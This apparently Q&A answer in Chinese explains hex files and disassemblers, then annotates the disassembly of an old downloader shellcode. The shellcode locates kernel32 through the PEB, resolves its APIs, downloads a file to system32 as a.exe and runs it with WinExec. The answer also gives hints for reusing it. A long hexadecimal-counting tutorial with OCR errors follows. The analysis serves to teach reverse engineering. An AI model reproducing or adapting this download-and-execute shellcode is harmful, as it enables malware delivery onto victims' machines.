在KEIL软件上建立工程项目,编辑C语言,编译调试无错后,点击project下的options for target,在output标签下勾选输出HEX,确定后就在编译一下会自动生成HEX文件在相同目录里。
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。
1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD75021 5A pop edx 函数返回的地址保存到edx中4AD75022 64:A1 30000000 mov eax, dword ptr fs:[30] 取peb
4AD75028 8B40 0C mov eax, dword ptr [eax+C] peb_link
4AD7502B 8B70 1C mov esi, dword ptr [eax+1C] 初始化列表到esi
4AD7502E AD lods dword ptr [esi] [esi]->eax + 8的位置即kernel32.dll的地址
4AD7502F 8B40 08 mov eax, dword ptr [eax+8] eax=kernel32.dll的地址
4AD75032 8BD8 mov ebx, eax ebx=kernel32.dll的基址
4AD75034 8B73 3C mov esi, dword ptr [ebx+3C] esi = pe头偏移
4AD75037 8B741E 78 mov esi, dword ptr [esi+ebx+78] esi为kernel32.dll导出表的偏移
4AD7503B 03F3 add esi, ebx esi = kernel32.dll导出表的虚拟地址
4AD7503D 8B7E 20 mov edi, dword ptr [esi+20] edi=ent的偏移地址
4AD75040 03FB add edi, ebx edi = ent的虚拟地址
4AD75042 8B4E 14 mov ecx, dword ptr [esi+14] ecx = kernel32.dll导出地址的个数
4AD75045 33ED xor ebp, ebp ebp=0
4AD75047 56 push esi 保存导出表虚拟地址
4AD75048 57 push edi 保存ent虚拟地址
4AD75049 51 push ecx 保存计数
4AD7504A 8B3F mov edi, dword ptr [edi]
4AD7504C 03FB add edi, ebx 定位ent中的函数名
4AD7504E 8BF2 mov esi, edx esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD75050 6A 0E push 0E 0xe0是GetProcAddress函数的字符个数
4AD75052 59 pop ecx 设置循环次数为 0xe
4AD75053 F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD75055 74 08 je short 4AD7505F 如果ENT中的函数名为GetProcAddress跳走
4AD75057 59 pop ecx 不相等则将导出地址数出栈
4AD75058 5F pop edi ent虚拟地址出栈
4AD75059 83C7 04 add edi, 4 edi地址递增4字节 因为ENT的元素大小为4字节
4AD7505C 45 inc ebp ebp用于保存ent中定位到GetProcAddress函数时的计数
4AD7505D ^ E2 E9 loopd short 4AD75048 循环查询
4AD7505F 59 pop ecx
4AD75060 5F pop edi
4AD75061 5E pop esi
4AD75062 8BCD mov ecx, ebp 计数保存于ecx
4AD75064 8B46 24 mov eax, dword ptr [esi+24] esi+0x24 Ordinal序号表偏移地址
4AD75067 03C3 add eax, ebx ordinal序号表的虚拟地址
4AD75069 D1E1 shl ecx, 1 ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4AD7506B 03C1 add eax, ecx
4AD7506D 33C9 xor ecx, ecx ecx=0
4AD7506F 66:8B08 mov cx, word ptr [eax] 保存取出的ordinal序号
4AD75072 8B46 1C mov eax, dword ptr [esi+1C] eax 为kenrnel32.dll的EAT的偏移地址
4AD75075 > 03C3 add eax, ebx eax = kernel32.dll的eat虚拟地址
4AD75077 C1E1 02 shl ecx, 2 同上,扩大4倍因为eat中元素为DWORD值
4AD7507A 03C1 add eax, ecx
4AD7507C 8B00 mov eax, dword ptr [eax] eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4AD7507E 03C3 add eax, ebx 与基址相加求得GetProcAddress函数的虚拟地址
4AD75080 8BFA mov edi, edx GetProcAddress字符到edi
4AD75082 8BF7 mov esi, edi esi保存GetProcAddress地址
4AD75084 83C6 0E add esi, 0E esi指向GetProcAddress字符串的末地址
4AD75087 8BD0 mov edx, eax edx为GetProcAddress的地址
4AD75089 6A 04 push 4
4AD7508B 59 pop ecx ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4AD7508C E8 50000000 call 4AD750E1 设置IAT 得到4个函数的地址4AD75091 83C6 0D add esi, 0D 从这里开始实现ShellCode的真正功能
4AD75094 52 push edx
4AD75095 56 push esi urlmon
4AD75096 FF57 FC call dword ptr [edi-4] 调用LoadLibrarA来加载urlmon.dll
4AD75099 5A pop edx edx = GetProcAddress的地址
4AD7509A 8BD8 mov ebx, eax
4AD7509C 6A 01 push 1
4AD7509E 59 pop ecx
4AD7509F E8 3D000000 call 4AD750E1 再次设置 IAT 得到URLDownLoadToFileA
4AD750A4 83C6 13 add esi, 13 esi指向URLDownLoadToFileA的末地址
4AD750A7 56 push esi
4AD750A8 46 inc esi
4AD750A9 803E 80 cmp byte ptr [esi], 80 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束
4AD750AC ^ 75 FA jnz short 4AD750A8 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80
4AD750AE 8036 80 xor byte ptr [esi], 80
4AD750B1 5E pop esi
4AD750B2 83EC 20 sub esp, 20 开辟 32 byte栈空间
4AD750B5 > 8BDC mov ebx, esp ebx为栈区的指针
4AD750B7 6A 20 push 20
4AD750B9 53 push ebx
4AD750BA FF57 EC call dword ptr [edi-14] 调用GetSystemDirectoryA得到系统目录
4AD750BD C70403 5C612E65 mov dword ptr [ebx+eax], 652E615C ebx+0x13 系统路径占 0x13个字节
4AD750C4 C74403 04 78650000 mov dword ptr [ebx+eax+4], 6578 拼接下载后的文件路径%systemroot%\system32\a.exe
4AD750CC 33C0 xor eax, eax
4AD750CE 50 push eax
4AD750CF 50 push eax
4AD750D0 53 push ebx
4AD750D1 56 push esi
4AD750D2 50 push eax
4AD750D3 > FF57 FC call dword ptr [edi-4] URLDownLoadToFile下载文件为a.exe
4AD750D6 8BDC mov ebx, esp
4AD750D8 50 push eax
4AD750D9 53 push ebx
4AD750DA FF57 F0 call dword ptr [edi-10] WinExec执行代码
4AD750DD 50 push eax
4AD750DE FF57 F4 call dword ptr [edi-C] ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
十六进制(hexadecimal,缩写为hex)是以16为基数的计数系统,它是计算机中最常用的计数系统。十六进制中的计数过程为:O,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,等等。十六进制中的字母是几个单位数标识符,表示十进制的10到15。要记住在不同基数下的计数规则,即从O数到比基数小1的数字,在十六进制中这个数就是十进制的15。因为西式数字中没有表示大于9的单位数,所以就用A,B,c,D,E和F来表示十进制的10到15。在十六进制中,数到F之后,就要转到两位数上,也就是1OH或Ox1O。下面对十六进制(第二行)和十进制(第一行)的计数过程作一下比较: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,…… 1,2,3,4,5,6,7,8,9,A, B, C, D, E, F, 10,…… 注意,十进制的10等于十六进制的A。与前面讨论过的计数系统一样,每增加一个十六进制位,实际上就增加了一个16的幂,即160(1),161(16),162(256),163(4096),等等。因此,十六进制数3F可以展开为(3×161)+(F×160),等于十进制的(48+15)或63;十六进制数13F可以展开为(1×162)+(3×161)+(F×160),等于十进制的(256+48+15)或319。在c程序中,这两个数用0x3F或Oxl3F这样的形式来表示,其中的“0x”前缀用来告诉编译程序(和程序员)该数字应被当作十六进制数来处理。如果不加“0x”前缀,你就无法判断一个数究竟是十六进制数还是十进制数(或者是八进制数)。 对表20.22稍作改进,加入十六进制的计数过程,就得到了表20.24: ————————————————————————————————— 二进制 十进制值 二进制幂 十六进制 十六进制幂 ————————————————————————————————— 0000 O O 0001 1 20 1 160 0010 2 21 2 0011 3 3 0100 4 22 4 0101 5 5 0110 6 6 0111 7 7 1000 8 23 8 1001 9 9 1010 10 A 1011 11 B 1100 12 C 1101 13 D 1110 14 E 1111 15 F 10000 16 24 10 161 ————————————————————————————————— 笔者在上表的最后又加了一行,使计数达到十进制的16。通过比较二进制、十进制和十六进制·你就会发现:“十”在二进制中是“1010”,在十进制中是“10”,在十六进制中是“A”;。。十六”在二进制中是“1 0000"或“10000”,在十进制中是“16”,在十六进制中是“1O”,,(见上表的最后一行)。这意味着什么呢?因为今天的16,32和64位处理器的位宽恰好都是16的倍数,所以在这些类型的计算机中用十六进制作为计数系统是非常合适的。 十六进制位和二进位之间有一种“倍数”关系。在上表的最后一行中,二进制值被分为两部分(1 0000)。4个二进制位(或者4位)可以计数到15(包括O在内共16个不同的数字),而4位(bit)正好等于一个半字节(nibble)。在上表中你还可以发现,一个十六进制位同样可以计数到15(包括。在内共l 6个不同的数字),因此,一个十六进制位可以代表4个二进制位。一个很好的例子就是用二进制表示十进制的15和16,在二进制中,十进制的15就是1111,正好是4个二进制位能表示的最大数字;在十六进制中,十进制的15就是F,也正好是一个十六进制位能表示的最大数字。十进制的16要用5个二进制位(1 0000)或两个十六进制位(10)来表示。下面把前文提到过的两个数字(0x3F和0x13F)转换为二进制: 3F 111111 l3F 100111111 如果把前面的空格换为O,并且把二进制位分成4位一组,那么看起来就会清楚一些: 3F 0 0011 1111 l3F 1 0011 1111 你并不一定要把二进制位分成4位一组,只不过当你明白了4个二进制位等价于一个十六进制位后,计数就更容易了。为了证明上述两组数字是相等的,可以把二进制值转换为十进制值(十六进制值到十进制值的转换已经在前文中介绍过了);二进制的111111就是(1×25)+(1×24)+(1×23)+(1×22)+(1×21)+(1×20),等于十进制的(32+16+8+4+2+1)或63,与0x3F的转换结果相同。二进制的1 0011 1111就是(1×28)+(O×27)+(0×26)+(1×25)+(1×24)+(1×23)+(1×22)++(1×21)+(1×20),等于十进制的(256+32+1 6+8+4+2+1)或319。因此,十六进制和二进制能象手掌和手套那样相互匹配。记得采纳啊